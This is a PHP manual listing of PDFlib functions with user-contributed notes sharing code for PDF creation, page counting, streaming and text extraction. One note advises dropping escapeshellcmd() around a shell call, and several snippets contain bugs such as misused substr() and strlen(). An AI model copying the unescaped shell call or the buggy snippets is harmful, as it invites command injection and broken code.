  • PDF_arc — Draw a counterclockwise circular arc segment
  • PDF_arcn — Draw a clockwise circular arc segment
  • PDF_attach_file — Add file attachment for current page [deprecated]
  • PDF_begin_document — Create new PDF file
  • PDF_begin_font — Start a Type 3 font definition
  • PDF_begin_glyph — Start glyph definition for Type 3 font
  • PDF_begin_item — Open structure element or other content item
  • PDF_begin_layer — Start layer
  • PDF_begin_page_ext — Start new page
  • PDF_begin_page — Start new page [deprecated]
  • PDF_begin_pattern — Start pattern definition
  • PDF_begin_template_ext — Start template definition
  • PDF_begin_template — Start template definition [deprecated]
  • PDF_circle — Draw a circle
  • PDF_clip — Clip to current path
  • PDF_close_image — Close image
  • PDF_close_pdi_page — Close the page handle
  • PDF_close_pdi — Close the input PDF document [deprecated]
  • PDF_close — Close pdf resource [deprecated]
  • PDF_closepath_fill_stroke — Close, fill and stroke current path
  • PDF_closepath_stroke — Close and stroke path
  • PDF_closepath — Close current path
  • PDF_concat — Concatenate a matrix to the CTM
  • PDF_continue_text — Output text in next line
  • PDF_create_3dview — Create 3D view
  • PDF_create_action — Create action for objects or events
  • PDF_create_annotation — Create rectangular annotation
  • PDF_create_bookmark — Create bookmark
  • PDF_create_field — Create form field
  • PDF_create_fieldgroup — Create form field group
  • PDF_create_gstate — Create graphics state object
  • PDF_create_pvf — Create PDFlib virtual file
  • PDF_create_textflow — Create textflow object
  • PDF_curveto — Draw Bezier curve
  • PDF_define_layer — Create layer definition
  • PDF_delete_pvf — Delete PDFlib virtual file
  • PDF_delete_table — Delete table object
  • PDF_delete_textflow — Delete textflow object
  • PDF_delete — Delete PDFlib object
  • PDF_encoding_set_char — Add glyph name and/or Unicode value
  • PDF_end_document — Close PDF file
  • PDF_end_font — Terminate Type 3 font definition
  • PDF_end_glyph — Terminate glyph definition for Type 3 font
  • PDF_end_item — Close structure element or other content item
  • PDF_end_layer — Deactivate all active layers
  • PDF_end_page_ext — Finish page
  • PDF_end_page — Finish page
  • PDF_end_pattern — Finish pattern
  • PDF_end_template — Finish template
  • PDF_endpath — End current path
  • PDF_fill_imageblock — Fill image block with variable data
  • PDF_fill_pdfblock — Fill PDF block with variable data
  • PDF_fill_stroke — Fill and stroke path
  • PDF_fill_textblock — Fill text block with variable data
  • PDF_fill — Fill current path
  • PDF_findfont — Prepare font for later use [deprecated]
  • PDF_fit_image — Place image or template
  • PDF_fit_pdi_page — Place imported PDF page
  • PDF_fit_table — Place table on page
  • PDF_fit_textflow — Format textflow in rectangular area
  • PDF_fit_textline — Place single line of text
  • PDF_get_apiname — Get name of unsuccessfull API function
  • PDF_get_buffer — Get PDF output buffer
  • PDF_get_errmsg — Get error text
  • PDF_get_errnum — Get error number
  • PDF_get_font — Get font [deprecated]
  • PDF_get_fontname — Get font name [deprecated]
  • PDF_get_fontsize — Font handling [deprecated]
  • PDF_get_image_height — Get image height [deprecated]
  • PDF_get_image_width — Get image width [deprecated]
  • PDF_get_majorversion — Get major version number [deprecated]
  • PDF_get_minorversion — Get minor version number [deprecated]
  • PDF_get_parameter — Get string parameter
  • PDF_get_pdi_parameter — Get PDI string parameter [deprecated]
  • PDF_get_pdi_value — Get PDI numerical parameter [deprecated]
  • PDF_get_value — Get numerical parameter
  • PDF_info_font — Query detailed information about a loaded font
  • PDF_info_matchbox — Query matchbox information
  • PDF_info_table — Retrieve table information
  • PDF_info_textflow — Query textflow state
  • PDF_info_textline — Perform textline formatting and query metrics
  • PDF_initgraphics — Reset graphic state
  • PDF_lineto — Draw a line
  • PDF_load_3ddata — Load 3D model
  • PDF_load_font — Search and prepare font
  • PDF_load_iccprofile — Search and prepare ICC profile
  • PDF_load_image — Open image file
  • PDF_makespotcolor — Make spot color
  • PDF_moveto — Set current point
  • PDF_new — Create PDFlib object
  • PDF_open_ccitt — Open raw CCITT image [deprecated]
  • PDF_open_file — Create PDF file [deprecated]
  • PDF_open_gif — Open GIF image [deprecated]
  • PDF_open_image_file — Read image from file [deprecated]
  • PDF_open_image — Use image data [deprecated]
  • PDF_open_jpeg — Open JPEG image [deprecated]
  • PDF_open_memory_image — Open image created with PHP's image functions [not supported]
  • PDF_open_pdi_document — Prepare a pdi document
  • PDF_open_pdi_page — Prepare a page
  • PDF_open_pdi — Open PDF file [deprecated]
  • PDF_open_tiff — Open TIFF image [deprecated]
  • PDF_pcos_get_number — Get value of pCOS path with type number or boolean
  • PDF_pcos_get_stream — Get contents of pCOS path with type stream, fstream, or string
  • PDF_pcos_get_string — Get value of pCOS path with type name, string, or boolean
  • PDF_place_image — Place image on the page [deprecated]
  • PDF_place_pdi_page — Place PDF page [deprecated]
  • PDF_process_pdi — Process imported PDF document
  • PDF_rect — Draw rectangle
  • PDF_restore — Restore graphics state
  • PDF_resume_page — Resume page
  • PDF_rotate — Rotate coordinate system
  • PDF_save — Save graphics state
  • PDF_scale — Scale coordinate system
  • PDF_set_border_color — Set border color of annotations [deprecated]
  • PDF_set_border_dash — Set border dash style of annotations [deprecated]
  • PDF_set_border_style — Set border style of annotations [deprecated]
  • PDF_set_char_spacing — Set character spacing [deprecated]
  • PDF_set_duration — Set duration between pages [deprecated]
  • PDF_set_gstate — Activate graphics state object
  • PDF_set_horiz_scaling — Set horizontal text scaling [deprecated]
  • PDF_set_info_author — Fill the author document info field [deprecated]
  • PDF_set_info_creator — Fill the creator document info field [deprecated]
  • PDF_set_info_keywords — Fill the keywords document info field [deprecated]
  • PDF_set_info_subject — Fill the subject document info field [deprecated]
  • PDF_set_info_title — Fill the title document info field [deprecated]
  • PDF_set_info — Fill document info field
  • PDF_set_layer_dependency — Define relationships among layers
  • PDF_set_leading — Set distance between text lines [deprecated]
  • PDF_set_parameter — Set string parameter
  • PDF_set_text_matrix — Set text matrix [deprecated]
  • PDF_set_text_pos — Set text position
  • PDF_set_text_rendering — Determine text rendering [deprecated]
  • PDF_set_text_rise — Set text rise [deprecated]
  • PDF_set_value — Set numerical parameter
  • PDF_set_word_spacing — Set spacing between words [deprecated]
  • PDF_setcolor — Set fill and stroke color
  • PDF_setdash — Set simple dash pattern
  • PDF_setdashpattern — Set dash pattern
  • PDF_setflat — Set flatness
  • PDF_setfont — Set font
  • PDF_setgray_fill — Set fill color to gray [deprecated]
  • PDF_setgray_stroke — Set stroke color to gray [deprecated]
  • PDF_setgray — Set color to gray [deprecated]
  • PDF_setlinecap — Set linecap parameter
  • PDF_setlinejoin — Set linejoin parameter
  • PDF_setlinewidth — Set line width
  • PDF_setmatrix — Set current transformation matrix
  • PDF_setmiterlimit — Set miter limit
  • PDF_setpolydash — Set complicated dash pattern [deprecated]
  • PDF_setrgbcolor_fill — Set fill rgb color values [deprecated]
  • PDF_setrgbcolor_stroke — Set stroke rgb color values [deprecated]
  • PDF_setrgbcolor — Set fill and stroke rgb color values [deprecated]
  • PDF_shading_pattern — Define shading pattern
  • PDF_shading — Define blend
  • PDF_shfill — Fill area with shading
  • PDF_show_boxed — Output text in a box [deprecated]
  • PDF_show_xy — Output text at given position
  • PDF_show — Output text at current position
  • PDF_skew — Skew the coordinate system
  • PDF_stringwidth — Return width of text
  • PDF_stroke — Stroke path
  • PDF_suspend_page — Suspend page
  • PDF_translate — Set origin of coordinate system
  • PDF_utf16_to_utf8 — Convert string from UTF-16 to UTF-8
  • PDF_utf32_to_utf16 — Convert string from UTF-32 to UTF-16
  • PDF_utf8_to_utf16 — Convert string from UTF-8 to UTF-16

User Contributed Notes

sander at alternet dot nl 23-Aug-2010 02:42
Took me some time to find how to add a centered aligned footer, here's how:

<?php
// place footer line, centered. 297.5 is exactly half the width of a A4 page
$p->fit_textline($textline, 297.5, 35, " position=center");
?>
Janvarev from GMail.com 08-Aug-2009 02:38
Hi,
there is some more fix from luc pdf2text function. It really works at my tasks.

Two fixes:
1) Different platforms set different characters after start "stream" text, for example: "stream\n", "stream\r", "stream\r\n". So, we detect it first.
2) Some non-text blocks are detected as text, so we added a function "FilterNonText".

<?php
function handleV2($data){

    // try detecting \n, \r or \r\n variation
    $tmp = strpos($data, "stream");
    $end_stream_delimiter = substr($data, $tmp+6, 2);

    if($end_stream_delimiter != "\r\n") {
       $end_stream_delimiter = substr($end_stream_delimiter, 0, 1);
    }
    //echo bin2hex($end_stream_delimiter); // - debug information

    // grab objects and then grab their contents (chunks)
    $a_obj = getDataArray($data,"obj","endobj");

    foreach($a_obj as $obj){

        $a_filter = getDataArray($obj,"<<",">>");

        if (is_array($a_filter)){
            $j++;
            $a_chunks[$j]["filter"] = $a_filter[0];

            $a_data = getDataArray($obj,"stream".
$end_stream_delimiter,"endstream");
            if (is_array($a_data)){
                $a_chunks[$j]["data"] = substr($a_data[0],
        strlen("stream".$end_stream_delimiter),
        strlen($a_data[0])-
strlen("stream".$end_stream_delimiter)-strlen("endstream"));
            }
        }
    }

    // decode the chunks
    foreach($a_chunks as $chunk){

        // look at each chunk and decide how to decode it - by looking at the contents of the filter
        $a_filter = split("/",$chunk["filter"]);

        if ($chunk["data"]!=""){
            // look at the filter to find out which encoding has been used
            if (substr($chunk["filter"],"FlateDecode")!==false){
                $data =@ gzuncompress($chunk["data"]);
                if (trim($data)!=""){
            // CHANGED HERE, before: $result_data .= ps2txt($data);
                    $result_data .= FilterNonText(PS2Text_New($data));
                } else {

                    //$result_data .= "x";
                }
            }
        }
    }
    return $result_data;
}

function FilterNonText($data) {
  for($i=1;$i<9;$i++) {
      if(strpos($data, chr($i)) !== false) {
         return ""; // not text, something strange
      }
  }
  return $data;
}
?>

Warning: this is only a patch to "luc at phpt dot org" code. You must use his solution first, then replace function with this patch.
bolyde at gmail dot com 12-Apr-2009 12:27
Hi,
To find the page number of a PDF File, i find this :

<?php
public function getNumPagesInPDF(array $arguments = array())
{
@list($PDFPath) = $arguments;
$stream = @fopen($PDFPath, "r");
$PDFContent = @fread ($stream, filesize($PDFPath));
if(!$stream || !$PDFContent)
    return false;

$firstValue = 0;
$secondValue = 0;
if(preg_match("/\/N\s+([0-9]+)/", $PDFContent, $matches)) {
    $firstValue = $matches[1];
}

if(preg_match_all("/\/Count\s+([0-9]+)/s", $PDFContent, $matches))
{
    $secondValue = max($matches[1]);
}
return (($secondValue != 0) ? $secondValue : max($firstValue, $secondValue));
}
?>
bondo2 at bondo2 dot info 09-Oct-2008 02:20
<?php

//getting new instance
$pdfFile = new_pdf();

PDF_open_file($pdfFile, " ");

//document info
pdf_set_info($pdfFile, "Auther", "Ahmed Elbshry");
pdf_set_info($pdfFile, "Creator", "Ahmed Elbshry");
pdf_set_info($pdfFile, "Title", "PDFlib");
pdf_set_info($pdfFile, "Subject", "Using PDFlib");

//starting our page and define the width and highet of the document
pdf_begin_page($pdfFile, 595, 842);

//check if Arial font is found, or exit
if($font = PDF_findfont($pdfFile, "Arial", "winansi", 1)) {
    PDF_setfont($pdfFile, $font, 12);
} else {
    echo ("Font Not Found!");
    PDF_end_page($pdfFile);
    PDF_close($pdfFile);
    PDF_delete($pdfFile);
    exit();
}

//start writing from the point 50,780
PDF_show_xy($pdfFile, "This Text In Arial Font", 50, 780);
PDF_end_page($pdfFile);
PDF_close($pdfFile);

//store the pdf document in $pdf
$pdf = PDF_get_buffer($pdfFile);
//get  the len to tell the browser about it
$pdflen = strlen($pdfFile);

//telling the browser about the pdf document
header("Content-type: application/pdf");
header("Content-length: $pdflen");
header("Content-Disposition: inline; filename=phpMade.pdf");
//output the document
print($pdf);
//delete the object
PDF_delete($pdfFile);
?>
SID TRIVEDI 20-Jan-2008 06:16
/*
Folks, There is an excellent tutorial from Rasmus Lerdorf available at (It does not support I.E.)

http://talks.php.net/show/osconpdf/

Where PHP Mastermind Guru (Father) explained nicely about text, fonts, images and their attributes with working snippets.

Another tutorial can be found at

www.devshed.com/c/a/PHP/Building-PDF-Documents-with-PHP-5

Hence following is the various size of PDF Document.

Origin is at the lower left and the basic unit is the DTP pt.

1 pt = 1/72 inch = 0.35277777778 mm

Some common page sizes

Format          Width   Height
US-Letter      612      792
US-Legal       612      1008
US-Ledger     1224     792
11x17           792      1224
A0                2380    3368
A1                1684    2380
A2                1190    1684
A3                842      1190
A4                595      842
A5                421      595
A6                297      421
B5                501      709

*/
info at tecnick dot com 10-Jan-2008 12:54
For those of us that do not want to pay for a commercial license to use PDFlib I suggest TCPDF:

http://tcpdf.sf.net

TCPDF is an Open Source PHP class for generating PDF files on-the-fly without requiring external extensions. This class is already adopted by a large number of php projects such as phpMyAdmin, Drupal, Joomla, Xoops, TCExam, etc.

Starting from 2.1 version TCPDF supports UTF-8 Unicode and bidirectional languages such as Arabic and Hebrew.
Ken McColl 21-Nov-2007 05:06
To get this to work on Windows do not use escapeshellcmd()

From online help:
Following characters are preceded by a backslash: #&;`|*?~<>^()[]{}$\, \x0A and \xFF. ' and " are escaped only if they are not paired. In Windows, all these characters plus % are replaced by a space instead.

So you are probably passing duff paths to pdf2text.exe

Removing escapeshellcmd worked for me. Just make darned sure you are in control of what is being passed through to your system call.
kangaroo232002 at yahoo dot co dot uk 18-Nov-2007 12:25
To extend alex's example earlier, you can use a couple of switches inside the pdf doc to give you the total number of pages, without using any ext. I would have added the whole code, however the site keeps on saying "line is too long... yadayada".

Open the doc using fopen("$file", "rb"); (for reading)

Test the first approx 1000b for the following regex
<?php
if(preg_match("/\/N\s+([0-9]+)/", $contents, $found)) {
    return $found[1];
}
?>

If that doesn't return anything, you have to read the rest of the file:

<?php

preg_match_all("/\/Type\s*\/Pages\s*\/Kids\s+
\[.*?\]\s*\/Count\s+([0-9]+)/");

?>

This may return more than one, so look through for the highest value, which is the total number of pages in your doc.
Jonathon Hibbard 05-Nov-2007 03:37
The other issue with DOMpdf is that it has some pretty painful flaws.

You have to supply full paths to everything (images, includes, javascript files, etc).  And boy, do i mean everything.

Even then, it is not 100% sound.  If you have complex sites, it cannot handle it.  It instead breaks the design and only provides you with about a million broken images.

Don't get me wrong, it's GREAT for use with lower-end more simple sites, but if you have a site that say, has a javascript navigation, flash, and a bunch of container divs, it's really not going to do the job.

The above library seems to be the best fit, as about the only way to get high-end sites to work is just to manually write it out yourself using the functions above.

Sorry to bust anyone's bubble.  Good luck.
taufiq at simplybuzz dot com 23-Oct-2007 01:13
There is XPDF Win32 binary package at SourceForge for pdftotext purpose that works.

I've tried php codes below but didn't work.
praokean at yahoo dot com 22-Aug-2007 05:08
domPDF is not so great PDF creator becouse don't support foreign charachters.
Sam from dogmaConsult.de 15-Aug-2007 02:00
I seriously tried to get PDF parsing to work to use it in the indexing for fulltext search for a document management. But none of the pdf2text functions below worked for my test cases (among them an openoffice generated pdf file and a file generated by fpdf).

But I found a REALLY WORKING SOLUTION! On linux systems, install the XPDF package. It comes with a tool called pdftotext. Use php code similar to the following to get the text content of your pdf files:

<?php
    $file = "test.pdf";
    $outpath = preg_replace("/\.pdf$/", "", $file).".txt";

    system("pdftotext ".escapeshellcmd($file), $ret);
    if ($ret == 0)
    {
        $value = file_get_contents($outpath);
        unlink($outpath);
        print $value;
    }
    if ($ret == 127)
        print "Could not find pdftotext tool.";
    if ($ret == 1)
        print "Could not find pdf file.";
?>

The solution works on all test cases and is much more powerful than any of the previous pure php functions posted here, although only available on linux.
tatlar at yahoo dot com 14-Aug-2007 04:49
http://www.digitaljunkies.ca/dompdf/index.php

PHP5 class that converts HTML to PDF. From the website:
"At its heart, dompdf is (mostly) CSS2.1 compliant HTML layout and rendering engine written in PHP. It is a style-driven renderer: it will download and read external stylesheets, inline style tags, and the style attributes of individual HTML elements. It also supports most presentational HTML attributes."
david at metabin 19-Jul-2007 04:19
Easiest way to get the text of a pdf is to install xpdf (on redhat yum -y install xpdf)

then run xpdftotext your.pdf - which will then generate your.txt.
jkndrkn at gmail dot com 03-May-2007 10:51
For those of us that do not want to pay for a commercial license to use PDFlib in a closed-source project, there are at least two good alternatives: FPDF and TCPDF

http://www.fpdf.org/
PHP4 and PHP5 support

http://sourceforge.net/projects/pdf-php
PHP5 support only
luc at phpt dot org 29-Mar-2007 09:09
I am trying to extract the text from PDF files and use it to feed a search engine (Intranet tool). I tried several functions "PDF2TXT" posted below, but not they do not produce the expected result. At least, all words need to be separated by spaces (then used as keywords), and the "junk" codes removed (for example: binary data, pictures...). I start modifying the interesting function posted by Swen, and here is the my current version that starts to work quite well (with PDF version 1.2). Sorry for having a quite different style of programming. Luc

<?php
// Patch for pdf2txt() posted Sven Schuberth
// Add/replace following code (cannot post full program, size limitation)

// handles the verson 1.2
// New version of handleV2($data), only one line changed
function handleV2($data){

    // grab objects and then grab their contents (chunks)
    $a_obj = getDataArray($data,"obj","endobj");

    foreach($a_obj as $obj){

        $a_filter = getDataArray($obj,"<<",">>");

        if (is_array($a_filter)){
            $j++;
            $a_chunks[$j]["filter"] = $a_filter[0];

            $a_data = getDataArray($obj,"stream\r\n","endstream");
            if (is_array($a_data)){
                $a_chunks[$j]["data"] = substr($a_data[0],
        strlen("stream\r\n"),
        strlen($a_data[0])-strlen("stream\r\n")-strlen("endstream"));
            }
        }
    }

    // decode the chunks
    foreach($a_chunks as $chunk){

        // look at each chunk and decide how to decode it - by looking at the contents of the filter
        $a_filter = split("/",$chunk["filter"]);

        if ($chunk["data"]!=""){
            // look at the filter to find out which encoding has been used
            if (substr($chunk["filter"],"FlateDecode")!==false){
                $data =@ gzuncompress($chunk["data"]);
                if (trim($data)!=""){
            // CHANGED HERE, before: $result_data .= ps2txt($data);
                    $result_data .= PS2Text_New($data);
                } else {

                    //$result_data .= "x";
                }
            }
        }
    }
    return $result_data;
}

// New function - Extract text from PS codes
function ExtractPSTextElement($SourceString)
{
$CurStartPos = 0;
while (($CurStartText = strpos($SourceString, '(', $CurStartPos)) !== FALSE)
    {
    // New text element found
    if ($CurStartText - $CurStartPos > 8) $Spacing = ' ';
    else    {
        $SpacingSize = substr($SourceString, $CurStartPos, $CurStartText - $CurStartPos);
        if ($SpacingSize < -25) $Spacing = ' '; else $Spacing = '';
        }
    $CurStartText++;

    $StartSearchEnd = $CurStartText;
    while (($CurStartPos = strpos($SourceString, ')', $StartSearchEnd)) !== FALSE)
        {
        if (substr($SourceString, $CurStartPos - 1, 1) != '\\') break;
        $StartSearchEnd = $CurStartPos + 1;
        }
    if ($CurStartPos === FALSE) break; // something wrong happened

    // Remove ending '-'
    if (substr($Result, -1, 1) == '-')
        {
        $Spacing = '';
        $Result = substr($Result, 0, -1);
        }

    // Add to result
    $Result .= $Spacing . substr($SourceString, $CurStartText, $CurStartPos - $CurStartText);
    $CurStartPos++;
    }
// Add line breaks (otherwise, result is one big line...)
return $Result . "\n";
}

// Global table for codes replacement
$TCodeReplace = array ('\(' => '(', '\)' => ')');

// New function, replacing old "pd2txt" function
function PS2Text_New($PS_Data)
{
global $TCodeReplace;

// Catch up some codes
if (ord($PS_Data[0]) < 10) return '';
if (substr($PS_Data, 0, 8) == '/CIDInit') return '';

// Some text inside (...) can be found outside the [...] sets, then ignored
// => disable the processing of [...] is the easiest solution

$Result = ExtractPSTextElement($PS_Data);

// echo "Code=$PS_Data\nRES=$Result\n\n";

// Remove/translate some codes
return strtr($Result, $TCodeReplace);
}

?>
Sven.Schuberth(at)gmx.de 28-Mar-2007 10:38
I've improved the codesnipped for the pdf2txt version 1.2.
Now its possible the translate pdf version >1.2 into plain text.

Sven

<?php
// Function    : pdf2txt()
// Arguments   : $filename - Filename of the PDF you want to extract
// Description : Reads a pdf file, extracts data streams, and manages
//               their translation to plain text - returning the plain
//               text at the end
// Authors      : Jonathan Beckett, 2005-05-02
//                            : Sven Schuberth, 2007-03-29

function pdf2txt($filename){

    $data = getFileData($filename);

    $s=strpos($data,"%")+1;

    $version=substr($data,$s,strpos($data,"%",$s)-1);
    if(substr_count($version,"PDF-1.2")==0)
        return handleV3($data);
    else
        return handleV2($data);

}
// handles the verson 1.2
function handleV2($data){

    // grab objects and then grab their contents (chunks)
    $a_obj = getDataArray($data,"obj","endobj");

    foreach($a_obj as $obj){

        $a_filter = getDataArray($obj,"<<",">>");

        if (is_array($a_filter)){
            $j++;
            $a_chunks[$j]["filter"] = $a_filter[0];

            $a_data = getDataArray($obj,"stream\r\n","endstream");
            if (is_array($a_data)){
                $a_chunks[$j]["data"] = substr($a_data[0],
strlen("stream\r\n"),
strlen($a_data[0])-strlen("stream\r\n")-strlen("endstream"));
            }
        }
    }

    // decode the chunks
    foreach($a_chunks as $chunk){

        // look at each chunk and decide how to decode it - by looking at the contents of the filter
        $a_filter = split("/",$chunk["filter"]);

        if ($chunk["data"]!=""){
            // look at the filter to find out which encoding has been used
            if (substr($chunk["filter"],"FlateDecode")!==false){
                $data =@ gzuncompress($chunk["data"]);
                if (trim($data)!=""){
                    $result_data .= ps2txt($data);
                } else {

                    //$result_data .= "x";
                }
            }
        }
    }

    return $result_data;
}

//handles versions >1.2
function handleV3($data){
    // grab objects and then grab their contents (chunks)
    $a_obj = getDataArray($data,"obj","endobj");
    $result_data="";
    foreach($a_obj as $obj){
        //check if it a string
        if(substr_count($obj,"/GS1")>0){
            //the strings are between ( and )
            preg_match_all("|\((.*?)\)|",$obj,$field,PREG_SET_ORDER);
            if(is_array($field))
                foreach($field as $data)
                    $result_data.=$data[1];
        }
    }
    return $result_data;
}

function ps2txt($ps_data){
    $result = "";
    $a_data = getDataArray($ps_data,"[","]");
    if (is_array($a_data)){
        foreach ($a_data as $ps_text){
            $a_text = getDataArray($ps_text,"(",")");
            if (is_array($a_text)){
                foreach ($a_text as $text){
                    $result .= substr($text,1,strlen($text)-2);
                }
            }
        }
    } else {
        // the data may just be in raw format (outside of [] tags)
        $a_text = getDataArray($ps_data,"(",")");
        if (is_array($a_text)){
            foreach ($a_text as $text){
                $result .= substr($text,1,strlen($text)-2);
            }
        }
    }
    return $result;
}

function getFileData($filename){
    $handle = fopen($filename,"rb");
    $data = fread($handle, filesize($filename));
    fclose($handle);
    return $data;
}

function getDataArray($data,$start_word,$end_word){

    $start = 0;
    $end = 0;
    unset($a_result);

    while ($start!==false && $end!==false){
        $start = strpos($data,$start_word,$end);
        if ($start!==false){
            $end = strpos($data,$end_word,$start);
            if ($end!==false){
                // data is between start and end
                $a_result[] = substr($data,$start,$end-$start+strlen($end_word));
            }
        }
    }
    return $a_result;
}
?>
brendandonhue at comcast dot net 22-Aug-2006 08:35
Here is a function to test whether a file is a PDF without using any external library.
<?php
define('PDF_MAGIC', "\\x25\\x50\\x44\\x46\\x2D");
function is_pdf($filename) {
  return (file_get_contents($filename, false, null, 0, strlen(PDF_MAGIC)) === PDF_MAGIC) ? true : false;
}
?>
It's not checking if the whole file is valid, just if the correct header is present at the beginning of the file.
MAGnUm at magnumhome dot servehttp.com 17-Jul-2006 02:01
domPDF is also a great PDF creation interface. it basically converts your code to CSS and then builds the PDF from that with the absolute positions, and what not...
spingary at yahoo dot com 12-Jan-2006 12:55
I was having trouble with streaming inline PDf's using PHP 5.0.2, Apache 2.0.54.

This is my code:

<?
header("Pragma: public");
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header("Cache-Control: must-revalidate");
header("Content-type: application/pdf");
header("Content-Length: ".filesize($file));
header("Content-disposition: inline; filename=$file");
header("Accept-Ranges: ".filesize($file));
readfile($file);
exit();
?>
It would work fine in Mozilla Firefox (1.0.7) but with IE (6.0.2800.1106) it would not bring up the Adobe Reader plugin and instead ask me to save it or open it as a PHP file.

Oddly enough, I turned off ZLib.compression and it started working.  I guess the compression is confusing IE.  I tried leaving out the content-length header thinking maybe it was unmatched filesize (uncompressed number vs actual received compressed size), but then without it it screws up Firefox too.

What I ended up doing was disabling Zlib compression for the PDF output pages using ini_set:

<?
ini_set('zlib.output_compression','Off');
?>

Maybe this will help someone. Will post over in the PDF section as well.
ontwerp AT zonnet.nl 03-Nov-2005 11:01
I was searching for a lowcost/opensource option for combining static html files [as templates] and dynamic output from perl or php routines etc. And the sooner or later I found out that this was the most stable, 'speedest' and customizeable way to produce usable pdf 's with nice formatting :

1] create html page output [perl-> html output, direct html output from any app or php echo's etc. [sort these html files locally]

2] parse all html [inluding webimages links, tables font formatting etc] to [E]PS files with the perl app : html2ps [as mentioned beneath]
http://user.it.uu.se/~jan/html2ps.html [sort all ps files by future pdf page positions]

3] use the free ps2pdf/ps2pdfwr linux application
http://www.ps2pdf.com/convert/index.htm [uses gostscript, ghostview libs and so on etc]
Has great formatting options like headers, footers, numbering etc
[sort pdf files]

4] convert all pdf files to 1 pdf file with : pdftk [pdftoolkit], deliveres optional compressions/encryption, background stamps etc

One should ask why using different scripts :
- combination perl/php is great : perl is speedier at some issues like conversion to ps files in my experience
- ps to pdf is quickier then direct php to pdf [in my exp.!]
- I have total control over every files whenever i change html files as a template I use only editors or other app. for it [online or offline].

p.s. I had to make a opensource solution for creating simpel report analyses that's based on things like :
- first page [name / title / #/ date]
- some static info [like introduction, copyrights etc]
- some dynamic info [outputted from php->dbase queries] combined
with html tags/images etc.

And this all mixed [so seperated in files for transparancy]. Also the 3 way manner : data-> html, html->ps, ps->pdf, is easier and quickier to program or adjust in every step.

Correct me if i'm wrong [mail me to]

ing. Valentijn Langendorff
Design & Technologist
ragnar at deulos dot com 07-Oct-2005 07:30
After one hole day understanding how pdflib works i got the conclusion that its enough hard to draw just with words to furthermore for drawing a line maybe you will need something like four lines of code, so i did my own functions to do the life easier and the code more understable to modify and draw. I also made a function that will draw a rect with the corners round and the posibility even to fill it ;)

You can get it from http://www.deulos.com/pdf_php.php

feel free to make suggestions or whatever u like ;o)
17-Sep-2005 11:26
some code that can be very helpful for starters.

<?php

    // Declare PDF File

    $pdf = pdf_new();
    PDF_open_file($pdf);

    // Set Document Properties

    PDF_set_info($pdf, "author", "Alexander Pas");
    PDF_set_info($pdf, "title", "PDF by PHP Example");
    PDF_set_info($pdf, "creator", "Alexander Pas");
    PDF_set_info($pdf, "subject", "Testing Code");

    // Get fonts to use

    pdf_set_parameter($pdf, "FontOutline", "Arial=arial.ttf"); // get a custom font
    $font1 = PDF_findfont($pdf, "Helvetica-Bold",  "winansi", 0); // declare default font
    $font2 = PDF_findfont($pdf, "Arial",  "winansi", 1); // declare custom font & embed into file

    /*
    You can use the following Fontypes 14 safely (the default fonts)
    Courier, Courier-Bold, Courier-Oblique, Courier-BoldOblique
    Helvetica, Helvetica-Bold, Helvetica-Oblique, Helvetica-BoldOblique
    Times-Roman, Times-Bold, Times-Italic, Times-BoldItalic
    Symbol, ZapfDingbats
    */

    // make the images

    $image1 = PDF_open_image_file($pdf, "gif", "image.gif"); //supported filetypes are: jpeg, tiff, gif, png.

    //Make First Page

    PDF_begin_page($pdf, 450, 450); // page width and height.
    $bookmark = PDF_add_bookmark($pdf, "Front"); // add a top level bookmark.
    PDF_setfont($pdf, $font1, 12); // use this font from now on.
    PDF_show_xy($pdf, "First Page!", 5, 225); // show this text measured from the left top.
    pdf_place_image($pdf, $image1, 255, 5, 1); // last number will schale it.
    PDF_end_page($pdf); // End of Page.

    //Make Second Page

    PDF_begin_page($pdf, 450, 225); // page width and height.
    $bookmark1 = PDF_add_bookmark($pdf, "Chapter1", $bookmark); // add a nested bookmark. (can be nested multiple times.)
    PDF_setfont($pdf, $font2, 12); // use this font from now on.
    PDF_show_xy($pdf, "Chapter1!", 225, 5);
    PDF_add_bookmark($pdf, "Chapter1.1", $bookmark1); // add a nested bookmark (already in a nested one).
    PDF_setfont($pdf, $font1, 12);
    PDF_show_xy($pdf, "Chapter1.1", 225, 5);
    PDF_end_page($pdf);

    // Finish the PDF File

    PDF_close($pdf); // End Of PDF-File.
    $output = PDF_get_buffer($pdf); // assemble the file in a variable.

    // Output Area

    header("Content-type: application/pdf"); //set filetype to pdf.
    header("Content-Length: ".strlen($output)); //content length
    header("Content-Disposition: attachment; filename=test.pdf"); // you can use inline or attachment.
    echo $output; // actual print area!

    // Cleanup

    PDF_delete($pdf);
?>
thodge at ipswich dot qld dot gov dot au 04-Sep-2005 10:22
Yet another addition to the PDF text extraction code last posted by jorromer. The code only seemed to work for PDF 1.2 (Acrobat 3.x) or below. This pdfExtractText function uses regular expressions to cover cases I have found in PDF 1.3 and 1.4 documents. The code also handles closing brackets in the text stream, which were ignored by the previous version. My regular expression skills are somewhat lacking, so improvements may possible by a more skilled programmer. I'm sure there are still cases that this function will not handle, but I haven't come across any yet...

<?php

function pdf2string($sourcefile) {

    $fp = fopen($sourcefile, 'rb');
    $content = fread($fp, filesize($sourcefile));
    fclose($fp);

    $searchstart = 'stream';
    $searchend = 'endstream';
    $pdfText = '';
    $pos = 0;
    $pos2 = 0;
    $startpos = 0;

    while ($pos !== false && $pos2 !== false) {

        $pos = strpos($content, $searchstart, $startpos);
        $pos2 = strpos($content, $searchend, $startpos + 1);

        if ($pos !== false && $pos2 !== false){

            if ($content[$pos] == 0x0d && $content[$pos + 1] == 0x0a) {
                $pos += 2;
            } else if ($content[$pos] == 0x0a) {
                $pos++;
            }

            if ($content[$pos2 - 2] == 0x0d && $content[$pos2 - 1] == 0x0a) {
                $pos2 -= 2;
            } else if ($content[$pos2 - 1] == 0x0a) {
                $pos2--;
            }

            $textsection = substr(
                $content,
                $pos + strlen($searchstart) + 2,
                $pos2 - $pos - strlen($searchstart) - 1
            );
            $data = @gzuncompress($textsection);
            $pdfText .= pdfExtractText($data);
            $startpos = $pos2 + strlen($searchend) - 1;

        }
    }

    return preg_replace('/(\s)+/', ' ', $pdfText);

}

function pdfExtractText($psData){

    if (!is_string($psData)) {
        return '';
    }

    $text = '';

    // Handle brackets in the text stream that could be mistaken for
    // the end of a text field. I'm sure you can do this as part of the
    // regular expression, but my skills aren't good enough yet.
    $psData = str_replace('\)', '##ENDBRACKET##', $psData);
    $psData = str_replace('\]', '##ENDSBRACKET##', $psData);

    preg_match_all(
